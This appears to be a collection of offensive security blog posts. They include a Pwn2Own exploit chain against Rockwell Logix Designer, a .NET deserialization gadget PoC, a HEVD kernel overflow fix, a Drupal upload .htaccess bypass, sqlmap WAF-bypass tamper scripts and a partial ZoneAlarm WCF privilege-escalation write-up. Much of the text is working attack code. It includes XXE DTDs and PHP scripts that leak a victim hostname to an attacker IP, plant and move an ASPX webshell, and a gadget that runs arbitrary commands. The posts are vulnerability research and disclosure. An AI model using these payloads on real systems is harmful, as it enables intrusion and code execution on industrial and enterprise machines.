This post is going to describe the exploit chain used by mr_me and myself to pwn the Rockwell Studio 5000 Logix Designer at the 2020 ICS Pwn2Own. This was our favorite chain of the contest. Speaking for myself, the reason this chain is so satisfying is because it is kind of long, and because Steve and I both found different primitives independently that we were able to put together to pull off the final exploit. The chain consists of 6 primitives plus an XXE vulnerability which gets abused repeatedly:

  • Hostname leak
  • Arbitrary folder deletion
  • Arbitrary folder creation
  • File creation (with uncontrolled filename, and location, but controlled extension)
  • Filename leak
  • File move

The rules for this target state An attempt in this category must be launched against the target by opening a malicious project file on the target machine. Alright, so we’ve got to convince the victim to open a malicious project file. An important note though, is that using Logix Designer requires other software from Rockwell to be installed on the system, including a local webserver. This will come in very handy later on.

Considering the initial bug has got to abuse the opening a project file, an important first step is determining the file formats supported by the software. FileTypesMan from NirSoft is a really useful tool for this job, you can sort by different categories such as “Company Name” and see all the file extensions that are registered:

However, for our chain the file type we abused was not registered by Logix Designer. It was easily found though, just by observing the default types listed in the file picker drop down:

Not having any idea what most of the file types were we tried opening a plain xxe.xml file (like this) with each of the different extensions to see if an http request got triggered. Turns out the app is indeed vulnerable if you open the file with either a .xml or .aml extension. Nice! Our first primitive is XXE.

With XXE comes the ability to make arbitrary HTTP requests. Recall that this software comes bundled with a local HTTP server meaning our attack surface is increased substantially. We ended up abusing 2 different endpoints, the first being http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?Version, for which the response contains the hostname of the computer. This information is needed to interact with the second endpoint later. We used basic OOB XXE exfiltration to store the hostname on our attacking system. The wireshark HTTP stream of communications between the victim (in red) and attacking machine (in blue) during this stage gives a good picture of how it works:

Before discussing how the second endpoint was abused we need to review a generic principle regarding XXE on Windows systems: it’s possible to write files into the system’s WebDAV cache folder c:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV by using the XXE to request a network resource using the file:// handler. When file:// is used Windows will first attempt to fetch the file over SMB on port 445. If that fails and the WebClient service is running (appears to be the default on non-server versions of Windows) it will then attempt to fetch the resources via WebDAV on port 80. When files are downloaded via WebDAV in this manner they stored in the cache folder with the name as a GUID but with the extension preserved. To test this out you would feed the victim a payload like this:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://192.168.17.139/download.dtd">
%sp;
%trigger;
%download;
]>

With an external DTD like this:

<!ENTITY % webshell SYSTEM "file://192.168.17.139/webdav/shell.aspx">
<!ENTITY % trigger "<!ENTITY % download SYSTEM 'http://192.168.17.139/?%webshell;'>">

Then, shell.aspx ends up in the DAV cache:

At this point we’ve got the ability to leak the hostname of the victim machine and create a webshell with a random name in the DAV cache folder. We’ll now be able to use the second endpoint of the local HTTP server to do the following:

  • Empty the WebDAV cache folder
  • Leak the name of the file that we create inside the cache
  • Move the file into the webroot
  • Create / delete arbitrary folders (this capability is not used)

The endpoint is called CopyRenameProject and looks like this:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=SourceFolder // all contents will be moved to the destination
&NewProjectName=DestFolder // folder will contain contents of source folder
&NewComputerLocation=Hostname // can be local or remote system
// to move files around the local system the hostname must be used
// no localhost or . or 127.0.0.1, hence we need a hostname leak

And now the real fun begins! We need to clear the DAV cache — in order to leak the name of our webshell we need it to be the only file sitting in that folder. This is easily accomplished using a request like this:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=cacheTrash
&NewComputerLocation=EWS

// We're just attempting to move the folder contents into a non-existent folder
// causing the files to be removed from the system.

Now we can trigger the webshell download which we covered earlier. After that we need to leak the name of the webshell which we can do like this:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=hax
&NewComputerLocation=192.168.17.13

A wireshark dump demonstrates what happens when attempting to copy files to a remote computer:

Now we can copy the webshell to the webroot like this:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=. // in this case . is the webroot
&NewComputerLocation=EWS

All that’s left to do is make the request to the webshell to actually get code execution. ez 🙂

Alright so this sounds simple enough, but what is kind of special about this exploit is it’s a one shot XXE, but there are two different dynamic values in the payload, the hostname of the victim, and the filename of the webshell. Personally, I’d never had to overcome this kind of challenge in an XXE so I’d like to take some time to review the individual exploit payloads and the infrastructure required for successful exploitation.

The malicious project file that gets delivered to the victim looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % stage1 SYSTEM "http://192.168.17.139/stage1.dtd">
<!ENTITY % stage2 SYSTEM "http://192.168.17.139/stage2.php">
%stage1; %one; %two; 
%stage2; %three; %four;]>

stage1.dtd looks like this:

<!ENTITY % hostname SYSTEM "http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?Version">
<!ENTITY % one "<!ENTITY % two SYSTEM 'http://192.168.17.139/leak-hostname.php?hostname=%hostname;'>">

and leak-hostname.php looks like this:

<?php
preg_match('/(Computer: )(.*)(<br>)/', urldecode($_GET['hostname']), $matches);
$hostname = $matches[2];
file_put_contents("host-name.txt", $hostname);
?>

Stage1 is all about leaking the hostname of the victim. The victim sends its hostname to the attacker who stores it in a file called host-name.txt.

Now let’s look at stage2.php:

<?php

# will be the WebDAV cache folder on all Windows systems
$davCache = "../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/";

# will contain the victim's hostname which we grabbed in stage 1
$hostname = file_get_contents("host-name.txt");

# clears out the DAV cache
$xml = "<!ENTITY % clearCache SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&amp;HMIProjectName=$davCache&amp;NewProjectName=cacheTrash&amp;NewComputerLocation=$hostname\">\n";

# creates the webshell in the DAV cahce
$xml .= "<!ENTITY % downloadWebshell SYSTEM \"file://192.168.17.139/webdav/shell.aspx\">\n";

# leaks the filename of webshell
# we use a separate php script to receive this from the victim and
# store it in `file-name.txt` in the webroot of the attacking machine
$xml .= "<!ENTITY % leakFileName SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&amp;HMIProjectName=$davCache&amp;NewProjectName=hax&amp;NewComputerLocation=192.168.17.139\">\n";

# move the webshell into the victim webroot 
$xml .= "<!ENTITY % copyShellToWebRoot SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&amp;HMIProjectName=$davCache&amp;NewProjectName=.&amp;NewComputerLocation=$hostname\">\n";

# store the filename of the webshell in an entity
$xml .= "<!ENTITY % fileName SYSTEM \"http://192.168.17.139/file-name.txt\">\n";

# this last line calls everything inside of a sub entity
# that way the parser keeps going even if there's errors.
# we could have also just redirected back to our attacking 
# http server if the response data wasn't valid DTD
$xml .= "<!ENTITY % three \"<!ENTITY % four SYSTEM 'http://127.0.0.1/%clearCache;%downloadWebshell;%leakFileName;%copyShellToWebRoot;/../../../../../../../RSViewSE/%fileName;'>\">\n";

print $xml;
?>

For this exploit it was really helpful to be able to run a WedDAV server and an HTTP server on the same port. Thanks apache for making that very easy. For completeness let’s see how we collect the filename of the webshell. First we have a .htaccess file like this:

RewriteEngine On
RewriteRule (.*{.*) rockwell.php
RewriteRule (.*HMI_ISAPI.DLL.*) rockwell-200.php

This will redirect any requests containing a { to rockwell.php. The webshell will always get renamed by Windows to a GUID like {ADCA1E92-BC09-4257-ADB6-BEA43DA08F4B}.aspx so we know incoming requests with a { should get redirected to the filename grabbing code. Here’s rockwell.php:

<?php
# the HTTP/1.0 response prevents the file from getting deleted when we leak the name
header("HTTP/1.0 100 Incite Team");

# grab the filename out of the incoming request
$filename = urldecode(basename($_SERVER['REQUEST_URI'], '?' . $_SERVER['QUERY_STRING']));

# make sure the extension is aspx
$extension = strtolower(pathinfo($filename)['extension']);
if (strcmp($extension, "aspx") == 0) {
    # we save the leaked file name into a file in our web root called "file-name.txt"
    file_put_contents("file-name.txt", $filename);
}
?>

rockwell-200.php just returns what I refer to as the standard Rockwell 200 OK response when you make HTTP requests to it. Recall that to get the victim to leak the filename to us we had to return this type of response. The .htaccess says any time we see HMI_ISAPI.DLL in an incoming request redirect it to rockwell-200.php which is literally just this:

<html><head><title>Default MFC Web Server Extension</title></head><body>S_OK</body></html>

The last thing to discuss is the webshell, which is stored in the WebDAV root dir of our Apache server, instead of the normal webroot. Because the webshell’s contents get expanded in the %downloadWebshell; entity, and because of the way the entity is used, we had to make sure that it didn’t contain any characters that could cause it to generate invalid DTD. Therefore the # % characters could not be used!

If you go out and look for standard .aspx file examples you may start to think it’s impossible to achieve this objective. However, if you keep digging, you might end up with something like shell.aspx:

<html>
<script language="CSharp" runat="server">
  void pwn(Object Src, EventArgs E) {
    System.Diagnostics.Process.Start("cmd.exe","/C mspaint");
  }
</script>
<body>
  <form runat="server">
    <asp:button text="carnage" OnLoad="pwn" runat="server"/>
  </form>
</body>
</html>

That’s all for now!

I recently started doing some vulnerability analysis against a popular Industrial Control System (ICS) software looking for remote code execution bugs. This bug hunting was motivated by the 2020 Pwn2Own in Miami, which @steventseeley and I ended up winning! The program that was targeted is written in C# and follows a client/server model. It didn’t take long to see that it does at least some of its communication by passing .NET serialized objects over the wire, and in this case, prior to authentication! This is the advisory from zdi — https://www.zerodayinitiative.com/advisories/ZDI-20-780/

After digging into the code I found that the objects were serialized using DataContractSerializer. As a bug hunter this is one of the worst serializers to be up against because it is only exploitable in special cases. Specifically, for DataContractSerializer the Type that the data is going to be deserialized into must be controlled by the attacker. There is at least one publicly known example of this in DotNetNuke as referenced by ysoserial.net.

As luck would have it, the target I was facing was also choosing the Type based on attacker controllable input. I presumed all that needed to be done was to figure out how to package the exploit payload correctly to pass it over the network and I’d be good. And it actually was almost that easy. The Type is supplied by the attacker, but then is checked to see if it falls into the program’s whitelist of allowed Type‘s. Turns out ExpandedWrapper and WindowsIdentity were not in the whitelist and these are the two classes that have DataContractSerializer gadgets in ysoserial.net.

So it was time to find a new gadget! I spent some time trying to understand how the existing DataContractSerializer gadgets worked. It turns out that the the WindowsIdentity gadget actually uses BinaryFormatter internally when it gets deserialized. This is explained in WindowsIdentityGenerator.cs of ysoserial.net, and looks like this:

        public override string Description()
        {
            return "WindowsIdentity Gadget by Levi Broderick";

            // Bridge from BinaryFormatter constructor/callback to BinaryFormatter
            // Usefule for Json.Net since it invokes ISerializable callbacks during deserialization

            // WindowsIdentity extends ClaimsIdentity
            // https://referencesource.microsoft.com/#mscorlib/system/security/claims/ClaimsIdentity.cs,60342e51e4acc828,references

            // System.Security.ClaimsIdentity.bootstrapContext is an SerializationInfo key (BootstrapContextKey)
            // added during serialization with binary formatter serialized Claims

            // protected ClaimsIdentity(SerializationInfo info, StreamingContext context)
            // private void Deserialize
            // using (MemoryStream ms = new MemoryStream(Convert.FromBase64String(info.GetString(BootstrapContextKey))))
            //     m_bootstrapContext = bf.Deserialize(ms, null, false);
        }

The whitelist I was dealing with was by namespace rather than specific Type‘s, so any class inside the namespace could be used. I decompiled all the .net System libraries which were in the whitelist and started looking for classes which were marked as serializable and also used BinaryFormatter somewhere inside. Basically looking for a similar pattern to what was exploited with WindowsIdentity. Eventually I found just that in the SessionSecurityToken class. This class in in the System.IdentityModel namespace which was in the whitelist. The code that gets taken advantage of looks like this:

// SessionSecurityToken.cs
// https://referencesource.microsoft.com/#System.IdentityModel/System/IdentityModel/Tokens/SessionSecurityToken.cs
private ClaimsIdentity ReadIdentity(XmlDictionaryReader dictionaryReader, SessionDictionary dictionary)
{

	...
	
	if (dictionaryReader.IsStartElement(dictionary.BootstrapToken, dictionary.EmptyString))
	{
		dictionaryReader.ReadStartElement();
		byte[] buffer = dictionaryReader.ReadContentAsBase64();
		using (MemoryStream memoryStream = new MemoryStream(buffer))
		{
			BinaryFormatter binaryFormatter = new BinaryFormatter();
			claimsIdentity.BootstrapContext = (BootstrapContext)binaryFormatter.Deserialize(memoryStream);
		}
		dictionaryReader.ReadEndElement();
	}
	dictionaryReader.ReadEndElement();
	return claimsIdentity;
}

To be perfectly honest, I didn’t take the time to understand this code too much. I just set a breakpoint on the call to deserialize and then wrote some test code to try and hit it. When that strategy worked I tried setting the BootstrapContext to a BinaryFormatter gadget and the payload worked. I’ll stop talking now and instead provide an annotated PoC:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IdentityModel.Tokens;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Serialization;
using System.Security.Claims;
using System.Text;

namespace SessionSecurityTokenGadget
{
    class Program
    {
        static void Main(string[] args)
        {
            SessionSecurityToken gadget = SessionSecurityTokenGadget("calc");

            // create a big buffer since we don't know what the object size will be
            byte[] initialObjectBuffer = new byte[0x1000];

            // create a stream pointing at the buffer
            MemoryStream stream = new MemoryStream(initialObjectBuffer);

            // serialize the object into the stream
            DataContractSerializer serializer = new DataContractSerializer(gadget.GetType());
            serializer.WriteObject(stream, gadget);

            // create a new buffer that is the exact size of the serialize object
            byte[] finalObjectBuffer = new byte[stream.Position];

            // copy the object into the new buffer
            Array.Copy(initialObjectBuffer, finalObjectBuffer, stream.Position);

            // create stream pointing at the serialized object
            stream = new MemoryStream(finalObjectBuffer);
            //stream.Position = 0;

            // deserialize it and get code execution
            serializer.ReadObject(stream);
        }

        public static SessionSecurityToken SessionSecurityTokenGadget(string cmd)
        {

            // - Create new ClaimsIdentity and set the BootstrapConext
            // - Bootrstrap context is set to to the TypeConfuseDelegateGadget from 
            //      ysoserial and is of Type SortedSet<string>
            // - The TypeConfuseDelegateGadget will execute notepad
            ClaimsIdentity id = new ClaimsIdentity();
            id.BootstrapContext = TypeConfuseDelegateGadget(cmd);

            // - Create new ClaimsPrincipal and add the ClaimsIdentity to it
            ClaimsPrincipal principal = new ClaimsPrincipal();
            principal.AddIdentity(id);

            // - Finally create the SessionSecurityToken which takes the principal
            //      in its constructor
            SessionSecurityToken s = new SessionSecurityToken(principal);


            // - The SessionSecurityToken is serializable using DataContractSerializer
            // - When it gets deserialized the BootstrapContext will get deserialized 
            //      using BinaryFormatter, which is more powerful from an attackers
            //      perspective, and will not be subject to any kind of whitelisting.
            //      In this sense it a "bridge" from DataContractSerializer to
            //      BinaryFormatter
            // - This will cause an exception to be thrown when the BootstrapContext
            //      is deserialized, but we still get the command execution:
            //          Unhandled Exception: System.InvalidCastException: Unable to cast 
            //          object of type 'System.Collections.Generic.SortedSet`1[System.String]' 
            //          to type 'System.IdentityModel.Tokens.BootstrapContext'
            return s;
        }

        //https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs
        // thanks guys!
        public static SortedSet<string> TypeConfuseDelegateGadget(string cmd)
        {

            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("cmd");
            set.Add("/c " + cmd);

            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = d.GetInvocationList();
            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(d, invoke_list);

            return set;
        }
    }
}

One of my vulnerability research goals is to find and exploit a privilege escalation bug in a real world driver. In preparation to meet this goal I started working with the HackSys Extreme Vulnerable Driver, specifically the 2.0 version on an x64 Windows 7 sp1 system. Being a new comer to kernel exploitation I chose to start working on the simple stack buffer overflow vulnerability provided by the driver. There are many write ups on how to exploit this vulnerability and the official github repo even comes pre-packaged with an exploit for it.

For some reason none of these exploits were working for me! This was very frustrating because I wanted to follow a working example to help learn how to do it. Eventually, I solved the problem on my own, and I’m very curious to know if anyone else encountered it. Because there are so many write ups for this vuln out there I’m not going to do a full analysis, but instead just focus on the area that was giving me trouble. My wish is that this post will help someone in the future.

The vulnerability is in the memcpy highlighted below, and the issue I was having is with the pop rdi also highlighted:

With the memcpyvulnerability we can overwrite the return address on the stack. You can see though, that before the ret instruction there is a pop rdi. What gets popped in to rdi is a pointer to an IRP which will be required as an argument to IoCompleteRequest in order to cleanly exit this call to the driver. But, in order to overwrite the return address we also have to overwrite the pointer to this IRP. None of the exploits/writeups that I’ve seen take this in to account, and thus they were all crashing my VM rather than giving me a system shell.

To see what I’m talking about here’s what the stack looks like if we break on this pop rdi instruction during a run that does not attempt to exploit the memcpy:

As you can see there is a pointer on the top of the stack. Now let’s look at the stack exploiting the buffer overflow vulnerability:

You can see that on the top of the stack we have AAAAAAAA which is from the buffer overflow. The pointer following that is the address of the userland buffer containing shellcode. The shellcode will run, but because rdi ends up not having the IRP that it needs the program will die shortly after the shellcode executes.

Once I realized what the problem was the solution was quite simple. It turns out that this IRP pointer is also in other locations on the stack at a fixed offset from rsp at the time that the shellcode is triggered. I added a mov instruction to the beginning of the standard token stealing shellcode and all of sudden it worked:

On a recent engagement I encountered a drupal site which allowed for some interesting file uploads. The first file upload form had a whitelist of allowed extensions which I was not able to bypass. The second accepted archive formats including tar, zip, and bz2. It would extract the archive and place in the contents into the /files directory of the drupal site.

The file extension whitelist was not applied to extracted files and it was also possible to include subfolders which structure would be maintained. This meant I was able to include .php files and put them in their own subdirectory. There was a problem though, which is that in drupal the /files directory contains a .htaccess file with the following contents:

# Turn off all options we don't need.
Options None
Options +FollowSymLinks

# Set the catch-all handler to prevent scripts from being executed.
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  # Override the handler again if we're run later in the evaluation list.
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

# If we know how to do it safely, disable the PHP engine entirely.
<IfModule mod_php5.c>
  php_flag engine off

This post explains that SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006 sets a non-existant execution handler so that php code inside this folder will not run. Additionally it sets php_flag engine off which should also prevent php code execution.

To get around this and get my php code to run I included a .htaccess file in the zip archive which did successfully get extracted, but for some reason a lot of the things I tried in order to enable php did not work. I wanted to share the working .htaccess for my future self and everyone else as a reference for what to do when in this kind of situation. The answer came from here:

php_flag engine 1
<FilesMatch "\.(php5?|html|phtml|php)$">
  SetHandler application/x-httpd-php
</FilesMatch>

In my time as a pen tester sqlmap has been an extremely valuable tool. Miroslav Stampar deserves a big salute for creating and maintaining sqlmap. THANK YOU!! So in this post I’m going to talk about a few situations where sqlmap was not working out of the box for one reason or another, and how I was able to work around it.

Sleep Amplification

First up is a time based MySQL injection vulnerability where the sleep time is amplified heavily. I’ve seen this before, where the sleep time gets multipled by 2 or maybe some more. In this example the sleep time is multiplied by about 18,000 :). The following screenshot shows the application sleeping for 18 seconds when we tell it to sleep for .001 seconds, this is a consistent result:

sqlmap actually could deal with this on its own, but the speed was not even close to optimal. My solution (before I knew how easy it was to create tamper scripts) was to proxy sqlmap to burp and do a find and replace within burp. I would search for the string sleep( and replace it with the string sleep(.000 this way when sqlmap tries to sleep(1) it will end up doing sleep(.0001) and because of the sleep amplification this will end up sleeping much closer to the amount of time sqlmap is actually expecting.

It’s much easier to do this with a tamper script than with burp. I forget how, but one day I ended up opening /usr/share/sqlmap/tamper/apostrophenullencode.py on my kali linux system. This tamper script does a simple find and replace so it’s a perfect example to work from. Since I never remember where the tamper scripts are supposed to live, whenever I need one I just do a locate nullencode and then just make a copy of the file to edit as my new tamper script.

So here I give you sleepfuck.py:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces 'sleep(' with 'sleep(.000' to deal with injections that amplify the sleep time. 
	Try adjusting the number of decimal places as needed.

    console# tamper("sleep(1)")
    'sleep(.0001)'
    """
	
    return payload.replace('SLEEP(', "SLEEP(.000") if payload else payload

False Negative

Next is an issue where sqlmap was failing to detect a valid MySQL injection issue. It would initially report it as being OR boolean-based blind - WHERE or HAVING clause (NOT) vulnerable which was accurate, but would then end up reporting it as a false positive or unexploitable which was totally incorrect.

As always, when sqlmap is giving me issues I crank the verbosity to 4 and start looking at what it’s doing. Here’s what it looks like right before it decides that the injection point is unexploitable:

Next I opened a MySQL terminal to check if this was valid syntax:

As I suspected this is invalid syntax. After consulting with my collegue Dark12, we concluded (though not with complete certainty) that the reason sqlmap called this unexploitable was because the false condition and the invalid syntax condition had the exact same response length. Our solution was to proxy sqlmap through burp while it was doing it’s false positive checks and modify the response length (by adding garbage to the response) when it was doing it’s invalid syntax testing. This worked, and it got through the final stages of validation. From there  I was able to dump data without having to do any funny business with burp and there were no issues. I imagine that there may be some cases where burp needs to know if it did invalid syntax, (maybe when trying to fingerprint the dbms?) but for this scenario dumping data worked like a charm even though we fudged the invalid syntax results during sqlmap’s initial testing.

WAF Bypass

The last scenario I want to mention in this post is a WAF bypass. The vector was once again boolean based blind MySQL injection. The first issue I encountered was that the ORD() function was blocked. ORD() takes a string as input and returns the character code for whatever the leftmost character of that string happens to be. I noticed however, that the ASCII() keyword was not blocked. ASCII() does the same thing as ORD(), but only operates on ASCII characters, whereas ORD() will work on binary data as well as ASCII. As long as I was dumping text this most likely not going to be an issue, so quickly I created ord2ascii.py, which is the same find and replace script shown above, but swapping ORD( for ASCII(. This was good enough for me to be able to dump the current database user, but as I tried making more complex queries (trying to retrieve user credential info), I started hitting the WAF again.

So in my continued efforts to beat the WAF I discovered the space2hash tamper script, which is built in to kali. The script simply takes a space and replaces it with %23RandomString%0a where of course, %23 is a # and %0a is a newline (\n). Here you can see the relevant code:

#!/usr/bin/env python

...

    # random.seed(0)
    # tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

I noticed that space2hash was helping me around some parts of the WAF, but wasn’t quite good enough. At some point I tried doing ORD(%23RandomString%0aSTRING)which was simulating the process of adding a space to the inside of the ORD() function argument and then running the space2hash tamper script. This prompted me to create parenspace.py (parenthesis + space) which, in combination with space2hash, allowed me to completely bypass the WAF. The code for parenspace is another simple search and replace, except it’s looking for ( and which gets replaced with . Note, when combining these scripts it’s important for the parenspace to run before space2hash runs.

With those two tamper scripts together, a query like this:

ends up looking like this:

That’s it for now. Hope this helps someone! This is just a sampling of some of the weird things I’ve had to do with sqlamp recently. Over the years there have been quite a few interesting challenges. I’ll do my best to continue documenting them as I go forward.

Continuing with my WCF vulnerability research I was recently taking a look at “Microsoft.Exchange.Directory.TopologyService.exe” which is part of Exchange server and exposes a WCF endpoint over a NetTcpBinding.

Client code can usually be found in the install path of a service and is generally a lot easier to use vs. building a client from scratch. After analyzing the service for a bit I was able to find client code in one of the DLLs. There was a problem though, which is that the class I wanted to use, “TopologyServiceClient”, was marked with the access modifier “internal”. This means that the class can only be accessed from within the assembly where it is defined. In other words, I could not import the assembly into my own project and use the internal classes.

To work around this I first tried copy pasting the code that I needed into my project…due the many layers of abstraction this wasn’t going to work. Another thing I tried was decompiling the assembly, changing the access modifiers, and then rebuilding…also wasn’t going to work. One more idea was to use the assembly editor in dnSpy to make the changes, but because of the nested classes with various levels of scoping it wasn’t enough to just change the access modifier for one class or even one method, and changing them all by hand would take way too long. Determined to use these classes, I eventually stumbled on dnlib, from the maker of dnSpy. dnlib is described simply as a ” .NET module/assembly reader/writer library”. Using a shotgun approach, I was able to use it to loop through all the classes and methods, change the access modifier from “internal” or “private” to “public” and save the modified assembly without rebuilding it, essentially patching it.

After doing this I was able to import the modified assembly, create the client object and interact with the service. Regretfully, the service requires admin credz in order to connect. Even worse, I believe that if non-admin credz could be used, none of the behavior would be exploitable anyway (not 100% sure though).

Regardless, I wanted to share the code and also use this as a reminder for myself, as I have a feeling it will be useful again in the future and I didn’t see any examples online of people doing this.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using dnlib.DotNet;
using dnlib.DotNet.Emit;

namespace CecilTest {
    class Program {
        static void Main(string[] args) {

            string libDir = @"C:\lib";
            string destDir = @"C:\modded-lib\";
            //var files = Directory.EnumerateFiles(libDir, "*.dll");
            var files = Directory.EnumerateFiles(libDir, "Microsoft.Exchange.Data.Directory.dll");
            foreach (string file in files) {
                Console.WriteLine(string.Format("[+] Analyzing {0}", file));
                using (ModuleDefMD mod = ModuleDefMD.Load(file)) {
                    foreach (var type in mod.GetTypes()) {
                        if (type.IsNotPublic &amp;&amp; !type.Attributes.HasFlag(TypeAttributes.Abstract)) {
                            type.Attributes |= TypeAttributes.Public;
                            foreach (var method in type.Methods) {
                                if (type.FullName.ToLower().Contains("topologyserviceclient")) {
                                    if (method.Attributes.HasFlag(MethodAttributes.Private)) {
                                        method.Attributes ^= MethodAttributes.Private;
                                        method.Attributes |= MethodAttributes.Public;
                                    }
                                    if (method.Attributes.HasFlag(MethodAttributes.PrivateScope)) {
                                        method.Attributes ^= MethodAttributes.PrivateScope;
                                    }
                                }
                                method.Attributes |= MethodAttributes.Public;
                            }
                            foreach (var field in type.Fields) {
                                //field.Attributes |= FieldAttributes.Public;
                            }
                            foreach (var nest in type.NestedTypes) {
                                //nest.Attributes |= TypeAttributes.Public;
                            }
                            
                        }
                    }
                    string destFile = destDir + Path.GetFileName(file);
                        mod.Write(destFile);
                        Console.WriteLine(string.Format("[+] Outputting to: {0}", destFile));
                }
            }
        }
    }
}

And here is what the modified class looks like when decompiled:

TL;DR

A previous version of Check Point’s ZoneAlarm antivirus and firewall product exposes a WCF interface which could be abused by low privilege users to trigger the execution of an update binary as SYSTEM. The issue has been disclosed by Check Point here. The exploitable WCF method takes the full path to the update binary as an argument which can be specified by the caller. The service attempts to prevent unauthorized processes from interacting with it by checking that any WCF clients are signed by Check Point. This can bypassed via DLL injection into a signed process or by simply signing the client (exploit code) with self-signed cert, which low priv users can trust on Windows. The service also only allows the execution of signed update binaries, but this can also be bypassed by either DLL hijacking a legitimately signed binary or again, with a self-signed certificate.

 

My friend Fabius Watson (@FabiusArtrel) recently gave what I consider to be a groundbreaking talk on abusing WCF endpoints. In 2018 he got a number of CVEs for privilege escalation and remote code execution in various commercial products which employed .NET based WCF services. Here are a few of them:

CVE-2018-13101 – KioskSimpleService Local Privilege Escalation

CVE-2018-10169 – Proton VPN Local Privilege Escalation

CVE-2018-10170 – NordVPN Local Privilege Escalation

CVE-2018-10190 – Private Internet Access Local Privilege Escalation

After reviewing the slides from his awesome talk at ekoparty 2018 I decided to go bug hunting. My first foray, looking into a ZoneAlarm by Check Point (a commercial antivirus product), was a success and a lot fun. So, with this post, I’d like to share my experience learning this bug class and writing a working exploit.

The first order of business was to install the software which is freely available at https://www.zonealarm.com/software/free-antivirus/. I have also made a vulnerable version of the software available here. After the ZoneAlarm tray pops up and seems to be running the installer is actually still going and there are services that will take some time to appear (maybe 30 minutes or more, sometimes less).

Once the install is truly complete, a python script created by @FabiusArtrel can be used to help quickly identify any services which may be vulnerable. The tool enumerates all services which meet the following criteria:

  • Running as LocalSystem (NT AUTHORITY\SYSTEM)
  • Service binary is a .NET application

Within the script a WMIC query is used to identify all services running as SYSTEM. Then the python module “pefile” is used to check if the service binary has mscoree.dll in the import table. All .NET applications depend on this library. Here’s what it looks like when run on a vulnerable system:

Process Explorer can also be used to help identify these type of services by going to Options > Configure Colors > .NET Process

So, with some candidate services to look at the next thing to do is open them up in dnSpy, an awesome .NET decompiler. Although there are many .NET services running they may not all be using WCF. All WCF services depend on System.ServiceModel, so right away we can check for a reference to this assembly. Only one of the ZoneAlarm services (SBACipollaSrvHost.exe) references this:

Great, so now that we know there is a WCF service running as SYSTEM we can check to see if it exposes any methods which might be exploitable. In some cases there will be methods which literally take a command to run as input, this results in a really easy win. In other cases, it may not be as direct. It’s also possible that the service exposes no methods which can be abused for code execution by any means.

After trolling the source code one method caught my eye called OnCommandReceived. After tracing the series of calls that this method makes I determined that it was used to execute an installer binary in a method called ExecuteInstaller which looks like this:

After seeing the name of the method, and that it was used to spawn new processes, I actually didn’t take the time to notice that it only launches checkpoint-signed binaries (see line 224). Instead I moved straight to figuring out how to talk to the WCF service so that I could try triggering this functionality. So next on my list of things to do was to learn more about the service. In the SBACipolla class we can see that two named-pipe service endpoints are created, Cipolla and CipollaRoot. WCF services can operate over a variety of transport protocols. If HTTP or TCP protocols are used it may be possible to exploit the service remotely. In this case it’s using named-pipes, so local privilege escalation will be the only angle available:

The service endpoints also have a custom AddSecureWcfBehavior method called on them, a harbinger that there may be some attempt by the developers to lock down these services.

After seeing this, I used a tool called IO Ninja to sniff on the named-pipes. I turned it on then attempted to update ZoneAlarm multiple times, hoping to see some action on the pipe which might help me better understand what was going on, but nothing ever came across. Since there was no luck to be had with that angle I turned to trying to find a legitimate WCF client to connect to this service with. Eventually I stumbled on SBAStub.dll (found in the same folder as the service binary: C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla) which has a method called SetUpWCFConnection that connects to the CipollaRoot named-pipe, and another method called SendCommand which sounded really nice 🙂

To test this out I created a new C# Console App project in visual studio and added a reference to System.ServiceModel to the project (necessary for WCF):

